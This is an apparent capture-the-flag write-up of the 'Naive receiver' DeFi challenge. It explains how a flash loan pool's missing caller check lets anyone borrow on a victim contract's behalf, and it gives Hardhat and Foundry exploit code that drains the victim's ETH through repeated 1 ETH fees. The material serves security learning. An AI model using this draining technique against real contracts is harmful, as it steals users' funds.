ctfwriteup.com
Search
⌃K

Naive receiver

access control

Description

There's a pool with 1000 ETH in balance, offering flash loans. It has a fixed fee of 1 ETH.
A user has deployed a contract with 10 ETH in balance. It’s capable of interacting with the pool and receiving flash loans of ETH.
Take all ETH out of the user's contract. If possible, in a single transaction.

Code Audit

The first thing we see is the unusual flash loan fee:
uint256 private constant FIXED_FEE = 1 ether; // not the cheapest flash loan
If we can charge the user 10 times, then user's fund will be drained.
FlashLoanReceiver.onFlashLoan() has some issues:
function flashLoan(
IERC3156FlashBorrower receiver,
address token,
uint256 amount,
bytes calldata data
) external returns (bool) {
if (token != ETH)
revert UnsupportedCurrency();
uint256 balanceBefore = address(this).balance;
// Transfer ETH and handle control to receiver
SafeTransferLib.safeTransferETH(address(receiver), amount);
if(receiver.onFlashLoan(
msg.sender,
ETH,
amount,
FIXED_FEE,
data
) != CALLBACK_SUCCESS) {
revert CallbackFailed();
}
if (address(this).balance < balanceBefore + FIXED_FEE)
revert RepayFailed();
return true;
}
This function does not verify if receiver == msg.sender, so anyone can call this function on behalf of another user. Recall that the flash loan is extremely high, so we have a good chance here to drain user's fund.
Moreover, note that there is nothing stops us from calling flashLoan() multiple times. How is the flash loan fee handled in such case? Take a look at FlashLoanReceiver.onFlashLoan():
uint256 amountToBeRepaid;
unchecked {
amountToBeRepaid = amount + fee;
}
We see that the fee is added linearly. That means 1 flash loan costs 1 ETH, 2 flash loans cost 2 ETH, and so on. To drain user's fund, we can run 10 flash loans consecutively.

Solution

The objective is to drain receiver's fund. Request flash loan on behalf of receiver:
it('Execution', async function () {
for (let i = 0; i < 10; i++) {
await pool.connect(player).flashLoan(receiver.address, pool.ETH(), 1, "0x");
}
});
flashLoan() parameters:
  • receiver.address -> receiver's address
  • pool.ETH() -> lending pool's ETH address
  • 1 -> borrow 1 wei
  • "0x" -> empty calldata
Run test using yarn:
yarn run naive-receiver
Success

Foundry Solution

This is a more general solution that does not depend on receiver's balance:
function exploit() internal override {
vm.startPrank(attacker);
uint256 flashFee = pool.fixedFee();
while( true ) {
uint256 flashAmount = address(receiver).balance - flashFee;
pool.flashLoan(address(receiver), flashAmount);
// we have consumed all the ETH from the poor receiver :(
if( address(receiver).balance == 0 ) break;
}
vm.stopPrank();
}
vm.startPrank() starts a "long" prank. In contrast, vm.prank() only pranks the next operation.

Mitigation

Last modified 2mo ago